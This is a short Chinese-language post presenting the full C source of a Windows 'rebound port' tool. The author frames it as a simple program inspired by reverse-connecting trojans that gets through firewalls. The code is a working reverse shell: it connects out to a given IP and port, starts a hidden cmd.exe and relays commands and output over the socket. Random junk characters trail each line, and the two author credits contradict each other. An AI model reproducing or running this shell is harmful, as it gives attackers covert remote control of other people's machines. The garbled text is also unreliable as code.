这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <uc1D/~^:
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/* ============================== hG_?8:W8HT
Rebound port in Windows NT Na\WZSu'"
By wind,2006/7 7lo|dg80
===============================*/ @y/wEBb
#include 5&f{1M6l>
#include Jz! Z2c
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#pragma comment(lib,"wsock32.lib") :SsUdIX;P
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void OutputShell(); kpI{KISQu
SOCKET sClient; 0liR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6ITLGA
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void main(int argc,char **argv) u<n`x6gL
{ 1[*{(e
WSADATA stWsaData; =U.
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int nRet; Ji;mHFZ*FU
SOCKADDR_IN stSaiClient,stSaiServer; &|<xqt
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if(argc != 3) f):~8_0b
{ {R^'=(YFy
printf("Useage:\n\rRebound DestIP DestPort\n"); oy<J6
return; 8:.nEo'
} EHlytG}@
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WSAStartup(MAKEWORD(2,2),&stWsaData); m4[g6pNx~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FhIqy %X
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stSaiClient.sin_family = AF_INET; 3qQUpm+
stSaiClient.sin_port = htons(0); ba@=^Fa;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ? &zQaxD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h~7,`fo
{ M3zDtN
printf("Bind Socket Failed!\n"); m/`IGT5J
return; LihjGkj\g
} y>\S@I
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stSaiServer.sin_family = AF_INET; ,eQ[Fi!!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Yn9j-`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &gc`<kLu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MF[z-7
{ l>v{
printf("Connect Error!"); k:#6^!b1
return; Ewo*yY>
} a-n4:QT
OutputShell(); nEy]`
} Ak~4|w-
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void OutputShell() ["3df>!f
{ &B!%fd.'
char szBuff[1024]; Q1>zg,r
SECURITY_ATTRIBUTES stSecurityAttributes; %d: A`7x
OSVERSIONINFO stOsversionInfo; LEh)g[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -PAF p3w\y
STARTUPINFO stStartupInfo; AV @\ +0
char *szShell; 1h"_[`L'
PROCESS_INFORMATION stProcessInformation; l9{#sas
unsigned long lBytesRead; }gsO&g"8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X9~m8c){z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DM3B]Yl
stSecurityAttributes.lpSecurityDescriptor = 0; !v!N>f4S$
stSecurityAttributes.bInheritHandle = TRUE; ui'F'"tPz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^{[`=P'/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N"DY?6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ID8k/t!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I{dl% z73
stStartupInfo.wShowWindow = SW_HIDE; 2
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stStartupInfo.hStdInput = hReadPipe; q|q::q*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ku3!*n_\
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GetVersionEx(&stOsversionInfo); PI7IBI
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switch(stOsversionInfo.dwPlatformId) E_[ONm=,
{ 1<uwU(
case 1: MM_py!=>7
szShell = "command.com"; h3J*1
break; "d?f:x3v^
default: ,L-C(j
szShell = "cmd.exe"; + x_wYv
break; ci7~KewJ*
} `?SG XXC
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -Uf4v6A
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send(sClient,szMsg,77,0); ?1m ,SK
while(1) e<'U8|}hc{
{ i$#,XFFp~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7l}~4dm2J
if(lBytesRead) x_ySf!ih
{ #D:RhqjK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yGV{^?yoP
send(sClient,szBuff,lBytesRead,0); L;C|ow^c
} $Z7:#cZ Y
else "4[<]pq
{ /$OIlu
lBytesRead=recv(sClient,szBuff,1024,0); ~}%&p&
p
if(lBytesRead<=0) break; pU[K%@sC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7S2c|U4IM
} S%V%!803!
} E<a.LW@
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return; sVD([`Nmc
}